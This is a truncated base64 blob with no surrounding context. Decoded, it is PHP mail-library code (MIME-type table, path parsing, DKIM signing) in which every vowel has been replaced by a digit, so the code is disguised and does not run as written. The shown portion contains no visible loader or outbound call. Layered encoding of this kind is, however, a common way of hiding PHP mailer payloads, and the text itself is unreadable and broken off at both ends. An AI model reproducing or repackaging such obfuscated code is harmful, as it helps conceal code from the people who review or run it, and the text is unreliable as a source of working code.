HBsNGMxdDQybi9wMnN0c2NyNHB0JywNCiAgICAgICAgICAgICdwcycgICAgPT4gJzFwcGw0YzF0NDJuL3Ayc3RzY3I0cHQnLA0KICAgICAgICAgICAgJ3NtNCcgICA9PiAnMXBwbDRjMXQ0Mm4vc200bCcsDQogICAgICAgICAgICAnc200bCcgID0+ICcxcHBsNGMxdDQybi9zbTRsJywNCiAgICAgICAgICAgICdtNGYnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tNGYnLA0KICAgICAgICAgICAgJ3hscycgICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLm1zLTV4YzVsJywNCiAgICAgICAgICAgICdwcHQnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy1wMnc1cnAyNG50JywNCiAgICAgICAgICAgICd3YnhtbCcgPT4gJzFwcGw0YzF0NDJuL3ZuZC53MXAud2J4bWwnLA0KICAgICAgICAgICAgJ3dtbGMnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLncxcC53bWxjJywNCiAgICAgICAgICAgICdkY3InICAgPT4gJzFwcGw0YzF0NDJuL3gtZDRyNWN0MnInLA0KICAgICAgICAgICAgJ2Q0cicgICA9PiAnMXBwbDRjMXQ0Mm4veC1kNHI1Y3QycicsDQogICAgICAgICAgICAnZHhyJyAgID0+ICcxcHBsNGMxdDQybi94LWQ0cjVjdDJyJywNCiAgICAgICAgICAgICdkdjQnICAgPT4gJzFwcGw0YzF0NDJuL3gtZHY0JywNCiAgICAgICAgICAgICdndDFyJyAgPT4gJzFwcGw0YzF0NDJuL3gtZ3QxcicsDQogICAgICAgICAgICAncGhwbycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwdScgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwJyAgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGh0bWwnID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwcycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocC1zMjNyYzUnLA0KICAgICAgICAgICAgJ3N3ZicgICA9PiAnMXBwbDRjMXQ0Mm4veC1zaDJja3cxdjUtZmwxc2gnLA0KICAgICAgICAgICAgJ3M0dCcgICA9PiAnMXBwbDRjMXQ0Mm4veC1zdDNmZjR0JywNCiAgICAgICAgICAgICd0MXInICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd0Z3onICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd4aHQnICAgPT4gJzFwcGw0YzF0NDJuL3hodG1sK3htbCcsDQogICAgICAgICAgICAneGh0bWwnID0+ICcxcHBsNGMxdDQybi94aHRtbCt4bWwnLA0KICAgICAgICAgICAgJ3o0cCcgICA9PiAnMXBwbDRjMXQ0Mm4vejRwJywNCiAgICAgICAgICAgICdtNGQnICAgPT4gJzEzZDQyL200ZDQnLA0KICAgICAgICAgICAgJ200ZDQnICA9PiAnMTNkNDIvbTRkNCcsDQogICAgICAgICAgICAnbXBhJyAgID0+ICcxM2Q0Mi9tcDVnJywNCiAgICAgICAgICAgICdtcG8nICAgPT4gJzEzZDQyL21wNWcnLA0KICAgICAgICAgICAgJ21wZzEnICA9PiAnMTNkNDIvbXA1ZycsDQogICAgICAgICAgICAnMTRmJyAgID0+ICcxM2Q0Mi94LTE0ZmYnLA0KICAgICAgICAgICAgJzE0ZmMnICA9PiAnMTNkNDIveC0xNGZmJywNCiAgICAgICAgICAgICcxNGZmJyAgPT4gJzEzZDQyL3gtMTRmZicsDQogICAgICAgICAgICAncjFtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncm0nICAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncnBtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0Mi1wbDNnNG4nLA0KICAgICAgICAgICAgJ3IxJyAgICA9PiAnMTNkNDIveC1yNTFsMTNkNDInLA0KICAgICAgICAgICAgJ3cxdicgICA9PiAnMTNkNDIveC13MXYnLA0KICAgICAgICAgICAgJ2JtcCcgICA9PiAnNG0xZzUvYm1wJywNCiAgICAgICAgICAgICdnNGYnICAgPT4gJzRtMWc1L2c0ZicsDQogICAgICAgICAgICAnanA1ZycgID0+ICc0bTFnNS9qcDVnJywNCiAgICAgICAgICAgICdqcDUnICAgPT4gJzRtMWc1L2pwNWcnLA0KICAgICAgICAgICAgJ2pwZycgICA9PiAnNG0xZzUvanA1ZycsDQogICAgICAgICAgICAncG5nJyAgID0+ICc0bTFnNS9wbmcnLA0KICAgICAgICAgICAgJ3Q0ZmYnICA9PiAnNG0xZzUvdDRmZicsDQogICAgICAgICAgICAndDRmJyAgID0+ICc0bTFnNS90NGZmJywNCiAgICAgICAgICAgICc1bWwnICAgPT4gJ201c3MxZzUvcmZjOGFhJywNCiAgICAgICAgICAgICdjc3MnICAgPT4gJ3Q1eHQvY3NzJywNCiAgICAgICAgICAgICdodG1sJyAgPT4gJ3Q1eHQvaHRtbCcsDQogICAgICAgICAgICAnaHRtJyAgID0+ICd0NXh0L2h0bWwnLA0KICAgICAgICAgICAgJ3NodG1sJyA9PiAndDV4dC9odG1sJywNCiAgICAgICAgICAgICdsMmcnICAgPT4gJ3Q1eHQvcGwxNG4nLA0KICAgICAgICAgICAgJ3Q1eHQnICA9PiAndDV4dC9wbDE0bicsDQogICAgICAgICAgICAndHh0JyAgID0+ICd0NXh0L3BsMTRuJywNCiAgICAgICAgICAgICdydHgnICAgPT4gJ3Q1eHQvcjRjaHQ1eHQnLA0KICAgICAgICAgICAgJ3J0ZicgICA9PiAndDV4dC9ydGYnLA0KICAgICAgICAgICAgJ3ZjZicgICA9PiAndDV4dC92YzFyZCcsDQogICAgICAgICAgICAndmMxcmQnID0+ICd0NXh0L3ZjMXJkJywNCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICd4c2wnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICdtcDVnJyAgPT4gJ3Y0ZDUyL21wNWcnLA0KICAgICAgICAgICAgJ21wNScgICA9PiAndjRkNTIvbXA1ZycsDQogICAgICAgICAgICAnbXBnJyAgID0+ICd2NGQ1Mi9tcDVnJywNCiAgICAgICAgICAgICdtMnYnICAgPT4gJ3Y0ZDUyL3EzNGNrdDRtNScsDQogICAgICAgICAgICAncXQnICAgID0+ICd2NGQ1Mi9xMzRja3Q0bTUnLA0KICAgICAgICAgICAgJ3J2JyAgICA9PiAndjRkNTIvdm5kLnJuLXI1MWx2NGQ1MicsDQogICAgICAgICAgICAnMXY0JyAgID0+ICd2NGQ1Mi94LW1zdjRkNTInLA0KICAgICAgICAgICAgJ20ydjQ1JyA9PiAndjRkNTIveC1zZzQtbTJ2NDUnDQogICAgICAgICk7DQogICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKHN0cnQybDJ3NXIoJDV4dCksICRtNG01cykpIHsNCiAgICAgICAgICAgIHI1dDNybiAkbTRtNXNbc3RydDJsMnc1cigkNXh0KV07DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIE0xcCAxIGY0bDUgbjFtNSB0MiAxIE1JTUUgdHlwNS4NCiAgICAgKiBENWYxM2x0cyB0MiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywgNC41Li4gMXJiNHRyMXJ5IGI0bjFyeSBkMXQxLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGY0bDVuMW01IEEgZjRsNSBuMW01IDJyIGYzbGwgcDF0aCwgZDI1cyBuMnQgbjU1ZCB0MiA1eDRzdCAxcyAxIGY0bDUNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGY0bDVuMW01VDJUeXA1KCRmNGw1bjFtNSkNCiAgICB7DQogICAgICAgIC8vIEluIGMxczUgdGg1IHAxdGggNHMgMSBVUkwsIHN0cjRwIDFueSBxMzVyeSBzdHI0bmcgYjVmMnI1IGc1dHQ0bmcgNXh0NW5zNDJuDQogICAgICAgICRxcDJzID0gc3RycDJzKCRmNGw1bjFtNSwgJz8nKTsNCiAgICAgICAgNGYgKGYxbHM1ICE9PSAkcXAycykgew0KICAgICAgICAgICAgJGY0bDVuMW01ID0gczNic3RyKCRmNGw1bjFtNSwgMCwgJHFwMnMpOw0KICAgICAgICB9DQogICAgICAgICRwMXRoNG5mMiA9IHM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSk7DQogICAgICAgIHI1dDNybiBzNWxmOjpfbTRtNV90eXA1cygkcDF0aDRuZjJbJzV4dDVuczQybiddKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBNM2x0NC1ieXQ1LXMxZjUgcDF0aDRuZjIgcjVwbDFjNW01bnQuDQogICAgICogRHIycC00biByNXBsMWM1bTVudCBmMnIgcDF0aDRuZjIoKSwgYjN0IG0zbHQ0Ynl0NS1zMWY1LCBjcjJzcy1wbDF0ZjJybS1zMWY1LCAybGQtdjVyczQybi1zMWY1Lg0KICAgICAqIFcycmtzIHM0bTRsMXJseSB0MiB0aDUgMm41IDRuIFBIUCA+PSBpLmEuMA0KICAgICAqIEBsNG5rIGh0dHA6Ly93d3cucGhwLm41dC9tMW4zMWwvNW4vZjNuY3Q0Mm4ucDF0aDRuZjIucGhwIzYwN3VlNg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHAxdGggQSBmNGw1bjFtNSAyciBwMXRoLCBkMjVzIG4ydCBuNTVkIHQyIDV4NHN0IDFzIDEgZjRsNQ0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyfHN0cjRuZyAkMnB0NDJucyBFNHRoNXIgMSBQQVRISU5GT18qIGMybnN0MW50LA0KICAgICAqICAgICAgMnIgMSBzdHI0bmcgbjFtNSB0MiByNXQzcm4gMm5seSB0aDUgc3A1YzRmNDVkIHA0NWM1LCAxbGwyd3MgJ2Y0bDVuMW01JyB0MiB3MnJrIDJuIFBIUCA8IGkuYQ0KICAgICAqIEByNXQzcm4gc3RyNG5nfDFycjF5DQogICAgICogQHN0MXQ0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gbWJfcDF0aDRuZjIoJHAxdGgsICQycHQ0Mm5zID0gbjNsbCkNCiAgICB7DQogICAgICAgICRyNXQgPSAxcnIxeSgnZDRybjFtNScgPT4gJycsICdiMXM1bjFtNScgPT4gJycsICc1eHQ1bnM0Mm4nID0+ICcnLCAnZjRsNW4xbTUnID0+ICcnKTsNCiAgICAgICAgJHAxdGg0bmYyID0gMXJyMXkoKTsNCiAgICAgICAgNGYgKHByNWdfbTF0Y2goJyVeKC4qPylbXFxcXC9dKigoW14vXFxcXF0qPykoXC4oW15cLlxcXFwvXSs/KXwpKVtcXFxcL1wuXSokJTRtJywgJHAxdGgsICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKDYsICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0WydkNHJuMW01J10gPSAkcDF0aDRuZjJbNl07DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZiAoMXJyMXlfazV5XzV4NHN0cyhhLCAkcDF0aDRuZjIpKSB7DQogICAgICAgICAgICAgICAgJHI1dFsnYjFzNW4xbTUnXSA9ICRwMXRoNG5mMlthXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKGksICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0Wyc1eHQ1bnM0Mm4nXSA9ICRwMXRoNG5mMltpXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKG8sICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0WydmNGw1bjFtNSddID0gJHAxdGg0bmYyW29dOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHN3NHRjaCAoJDJwdDQybnMpIHsNCiAgICAgICAgICAgIGMxczUgUEFUSElORk9fRElSTkFNRToNCiAgICAgICAgICAgIGMxczUgJ2Q0cm4xbTUnOg0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0WydkNHJuMW01J107DQogICAgICAgICAgICBjMXM1IFBBVEhJTkZPX0JBU0VOQU1FOg0KICAgICAgICAgICAgYzFzNSAnYjFzNW4xbTUnOg0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0WydiMXM1bjFtNSddOw0KICAgICAgICAgICAgYzFzNSBQQVRISU5GT19FWFRFTlNJT046DQogICAgICAgICAgICBjMXM1ICc1eHQ1bnM0Mm4nOg0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0Wyc1eHQ1bnM0Mm4nXTsNCiAgICAgICAgICAgIGMxczUgUEFUSElORk9fRklMRU5BTUU6DQogICAgICAgICAgICBjMXM1ICdmNGw1bjFtNSc6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJ2Y0bDVuMW01J107DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IDJyIHI1czV0IDRuc3QxbmM1IHByMnA1cnQ0NXMuDQogICAgICogWTIzIHNoMjNsZCAxdjI0ZCB0aDRzIGYzbmN0NDJuIC0gNHQncyBtMnI1IHY1cmIyczUsIGw1c3MgNWZmNGM0NW50LCBtMnI1IDVycjJyLXByMm41IDFuZA0KICAgICAqIGgxcmQ1ciB0MiBkNWIzZyB0aDFuIHM1dHQ0bmcgcHIycDVydDQ1cyBkNHI1Y3RseS4NCiAgICAgKiBVczFnNSBFeDFtcGw1Og0KICAgICAqIGAkbTE0bC0+czV0KCdTTVRQUzVjM3I1JywgJ3RscycpO2ANCiAgICAgKiAgIDRzIHRoNSBzMW01IDFzOg0KICAgICAqIGAkbTE0bC0+U01UUFM1YzNyNSA9ICd0bHMnO2ANCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUgVGg1IHByMnA1cnR5IG4xbTUgdDIgczV0DQogICAgICogQHAxcjFtIG00eDVkICR2MWwzNSBUaDUgdjFsMzUgdDIgczV0IHRoNSBwcjJwNXJ0eSB0Mg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqIEBUT0RPIFNoMjNsZCB0aDRzIG4ydCBiNSAzczRuZyB0aDUgX19zNXQoKSBtMWc0YyBmM25jdDQybj8NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0KCRuMW01LCAkdjFsMzUgPSAnJykNCiAgICB7DQogICAgICAgIDRmIChwcjJwNXJ0eV81eDRzdHMoJHRoNHMsICRuMW01KSkgew0KICAgICAgICAgICAgJHRoNHMtPiRuMW01ID0gJHYxbDM1Ow0KICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJHRoNHMtPmwxbmcoJ3YxcjQxYmw1X3M1dCcpIC4gJG4xbTUpOw0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU3RyNHAgbjV3bDRuNXMgdDIgcHI1djVudCBoNTFkNXIgNG5qNWN0NDJuLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczVjM3I1SDUxZDVyKCRzdHIpDQogICAgew0KICAgICAgICByNXQzcm4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgiXHIiLCAiXG4iKSwgJycsICRzdHIpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBOMnJtMWw0ejUgbDRuNSBicjUxa3MgNG4gMSBzdHI0bmcuDQogICAgICogQzJudjVydHMgVU5JWCBMRiwgTTFjIENSIDFuZCBXNG5kMndzIENSTEYgbDRuNSBicjUxa3MgNG50MiAxIHM0bmdsNSBsNG41IGJyNTFrIGYycm0xdC4NCiAgICAgKiBENWYxM2x0cyB0MiBDUkxGIChmMnIgbTVzczFnNSBiMmQ0NXMpIDFuZCBwcjVzNXJ2NXMgYzJuczVjM3Q0djUgYnI1MWtzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHQ1eHQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRicjUxa3R5cDUgV2gxdCBrNG5kIDJmIGw0bjUgYnI1MWsgdDIgM3M1LCBkNWYxM2x0cyB0MiBDUkxGDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIG4ycm0xbDR6NUJyNTFrcygkdDV4dCwgJGJyNTFrdHlwNSA9ICJcclxuIikNCiAgICB7DQogICAgICAgIHI1dDNybiBwcjVnX3I1cGwxYzUoJy8oXHJcbnxccnxcbikvbXMnLCAkYnI1MWt0eXA1LCAkdDV4dCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBwM2JsNGMgMW5kIHByNHYxdDUgazV5IGY0bDVzIDFuZCBwMXNzdzJyZCBmMnIgUy9NSU1FIHM0Z240bmcuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRjNXJ0X2Y0bDVuMW01DQogICAgICogQHAxcjFtIHN0cjRuZyAkazV5X2Y0bDVuMW01DQogICAgICogQHAxcjFtIHN0cjRuZyAkazV5X3Axc3MgUDFzc3cycmQgZjJyIHByNHYxdDUgazV5DQogICAgICogQHAxcjFtIHN0cjRuZyAkNXh0cjFjNXJ0c19mNGw1bjFtNSBPcHQ0Mm4xbCBwMXRoIHQyIGNoMTRuIGM1cnQ0ZjRjMXQ1DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM0Z24oJGM1cnRfZjRsNW4xbTUsICRrNXlfZjRsNW4xbTUsICRrNXlfcDFzcywgJDV4dHIxYzVydHNfZjRsNW4xbTUgPSAnJykNCiAgICB7DQogICAgICAgICR0aDRzLT5zNGduX2M1cnRfZjRsNSA9ICRjNXJ0X2Y0bDVuMW01Ow0KICAgICAgICAkdGg0cy0+czRnbl9rNXlfZjRsNSA9ICRrNXlfZjRsNW4xbTU7DQogICAgICAgICR0aDRzLT5zNGduX2s1eV9wMXNzID0gJGs1eV9wMXNzOw0KICAgICAgICAkdGg0cy0+czRnbl81eHRyMWM1cnRzX2Y0bDUgPSAkNXh0cjFjNXJ0c19mNGw1bjFtNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBRMzJ0NWQtUHI0bnQxYmw1LTVuYzJkNSAxIERLSU0gaDUxZDVyLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkdHh0DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9RUCgkdHh0KQ0KICAgIHsNCiAgICAgICAgJGw0bjUgPSAnJzsNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgc3RybDVuKCR0eHQpOyAkNCsrKSB7DQogICAgICAgICAgICAkMnJkID0gMnJkKCR0eHRbJDRdKTsNCiAgICAgICAgICAgIDRmICgoKDB4YTYgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHhvQSkpIHx8ICQycmQgPT0gMHhvQyB8fCAoKDB4b0UgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHg3RSkpKSB7DQogICAgICAgICAgICAgICAgJGw0bjUgLj0gJHR4dFskNF07DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRsNG41IC49ICc9JyAuIHNwcjRudGYoJyUwYVgnLCAkMnJkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGw0bjU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzVuNXIxdDUgMSBES0lNIHM0Z24xdDNyNS4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHM0Z25INTFkNXINCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIERLSU1fUzRnbigkczRnbkg1MWQ1cikNCiAgICB7DQogICAgICAgIDRmICghZDVmNG41ZCgnUEtDUzdfVEVYVCcpKSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eHQ1bnM0Mm5fbTRzczRuZycpIC4gJzJwNW5zc2wnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiAnJzsNCiAgICAgICAgfQ0KICAgICAgICAkcHI0dks1eVN0ciA9IGY0bDVfZzV0X2MybnQ1bnRzKCR0aDRzLT5ES0lNX3ByNHYxdDUpOw0KICAgICAgICA0ZiAoJHRoNHMtPkRLSU1fcDFzc3BocjFzNSAhPSAnJykgew0KICAgICAgICAgICAgJHByNHZLNXkgPSAycDVuc3NsX3BrNXlfZzV0X3ByNHYxdDUoJHByNHZLNXlTdHIsICR0aDRzLT5ES0lNX3Axc3NwaHIxczUpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHByNHZLNXkgPSAkcHI0dks1eVN0cjsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoMnA1bnNzbF9zNGduKCRzNGduSDUxZDVyLCAkczRnbjF0M3I1LCAkcHI0dks1eSkpIHsNCiAgICAgICAgICAgIHI1dDNybiBiMXM1ZXVfNW5jMmQ1KCRzNGduMXQzcjUpOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAnJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNW41cjF0NSAxIERLSU0gYzFuMm40YzFsNHoxdDQybiBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzNGduSDUxZDVyIEg1MWQ1cg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIERLSU1fSDUxZDVyQygkczRnbkg1MWQ1cikNCiAgICB7DQogICAgICAgICRzNGduSDUxZDVyID0gcHI1Z19yNXBsMWM1KCcvXHJcblxzKy8nLCAnICcsICRzNGduSDUxZDVyKTsNCiAgICAgICAgJGw0bjVzID0gNXhwbDJkNSgiXHJcbiIsICRzNGduSDUxZDVyKTsNCiAgICAgICAgZjJyNTFjaCAoJGw0bjVzIDFzICRrNXkgPT4gJGw0bjUpIHsNCiAgICAgICAgICAgIGw0c3QoJGg1MWQ0bmcsICR2MWwzNSkgPSA1eHBsMmQ1KCc6JywgJGw0bjUsIGEpOw0KICAgICAgICAgICAgJGg1MWQ0bmcgPSBzdHJ0MmwydzVyKCRoNTFkNG5nKTsNCiAgICAgICAgICAgICR2MWwzNSA9IHByNWdfcjVwbDFjNSgnL1xzKy8nLCAnICcsICR2MWwzNSk7IC8vIEMybXByNXNzIDNzNWw1c3Mgc3AxYzVzDQogICAgICAgICAgICAkbDRuNXNbJGs1eV0gPSAkaDUxZDRuZyAuICc6JyAuIHRyNG0oJHYxbDM1KTsgLy8gRDJuJ3QgZjJyZzV0IHQyIHI1bTJ2NSBXU1AgMXIyM25kIHRoNSB2MWwzNQ0KICAgICAgICB9DQogICAgICAgICRzNGduSDUxZDVyID0gNG1wbDJkNSgiXHJcbiIsICRsNG41cyk7DQogICAgICAgIHI1dDNybiAkczRnbkg1MWQ1cjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNW41cjF0NSAxIERLSU0gYzFuMm40YzFsNHoxdDQybiBiMmR5Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBNNXNzMWc1IEIyZHkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBES0lNX0IyZHlDKCRiMmR5KQ0KICAgIHsNCiAgICAgICAgNGYgKCRiMmR5ID09ICcnKSB7DQogICAgICAgICAgICByNXQzcm4gIlxyXG4iOw0KICAgICAgICB9DQogICAgICAgIC8vIHN0MWI0bDR6NSBsNG41IDVuZDRuZ3MNCiAgICAgICAgJGIyZHkgPSBzdHJfcjVwbDFjNSgiXHJcbiIsICJcbiIsICRiMmR5KTsNCiAgICAgICAgJGIyZHkgPSBzdHJfcjVwbDFjNSgiXG4iLCAiXHJcbiIsICRiMmR5KTsNCiAgICAgICAgLy8gRU5EIHN0MWI0bDR6NSBsNG41IDVuZDRuZ3MNCiAgICAgICAgd2g0bDUgKHMzYnN0cigkYjJkeSwgc3RybDVuKCRiMmR5KSAtIHUsIHUpID09ICJcclxuXHJcbiIpIHsNCiAgICAgICAgICAgICRiMmR5ID0gczNic3RyKCRiMmR5LCAwLCBzdHJsNW4oJGIyZHkpIC0gYSk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRiMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSB0aDUgREtJTSBoNTFkNXIgMW5kIGIyZHkgNG4gMSBuNXcgbTVzczFnNSBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXJzX2w0bjUgSDUxZDVyIGw0bjVzDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdCBTM2JqNWN0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBCMmR5DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9BZGQoJGg1MWQ1cnNfbDRuNSwgJHMzYmo1Y3QsICRiMmR5KQ0KICAgIHsNCiAgICAgICAgJERLSU1zNGduMXQzcjVUeXA1ID0gJ3JzMS1zaDE2JzsgLy8gUzRnbjF0M3I1ICYgaDFzaCAxbGcycjR0aG1zDQogICAgICAgICRES0lNYzFuMm40YzFsNHoxdDQybiA9ICdyNWwxeDVkL3M0bXBsNSc7IC8vIEMxbjJuNGMxbDR6MXQ0Mm4gMmYgaDUxZDVyL2IyZHkNCiAgICAgICAgJERLSU1xMzVyeSA9ICdkbnMvdHh0JzsgLy8gUTM1cnkgbTV0aDJkDQogICAgICAgICRES0lNdDRtNSA9IHQ0bTUoKTsgLy8gUzRnbjF0M3I1IFQ0bTVzdDFtcCA9IHM1YzJuZHMgczRuYzUgMDA6MDA6MDAgLSBKMW4gNiwgNjk3MCAoVVRDIHQ0bTUgejJuNSkNCiAgICAgICAgJHMzYmo1Y3RfaDUxZDVyID0gIlMzYmo1Y3Q6ICRzM2JqNWN0IjsNCiAgICAgICAgJGg1MWQ1cnMgPSA1eHBsMmQ1KCR0aDRzLT5MRSwgJGg1MWQ1cnNfbDRuNSk7DQogICAgICAgICRmcjJtX2g1MWQ1ciA9ICcnOw0KICAgICAgICAkdDJfaDUxZDVyID0gJyc7DQogICAgICAgICRjM3JyNW50ID0gJyc7DQogICAgICAgIGYycjUxY2ggKCRoNTFkNXJzIDFzICRoNTFkNXIpIHsNCiAgICAgICAgICAgIDRmIChzdHJwMnMoJGg1MWQ1ciwgJ0ZyMm06JykgPT09IDApIHsNCiAgICAgICAgICAgICAgICAkZnIybV9oNTFkNXIgPSAkaDUxZDVyOw0KICAgICAgICAgICAgICAgICRjM3JyNW50ID0gJ2ZyMm1faDUxZDVyJzsNCiAgICAgICAgICAgIH0gNWxzNTRmIChzdHJwMnMoJGg1MWQ1ciwgJ1QyOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgJHQyX2g1MWQ1ciA9ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAndDJfaDUxZDVyJzsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNGYgKCE1bXB0eSgkJGMzcnI1bnQpICYmIHN0cnAycygkaDUxZDVyLCAnID0/JykgPT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJCRjM3JyNW50IC49ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAnJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGZyMm0gPSBzdHJfcjVwbDFjNSgnfCcsICc9N0MnLCAkdGg0cy0+REtJTV9RUCg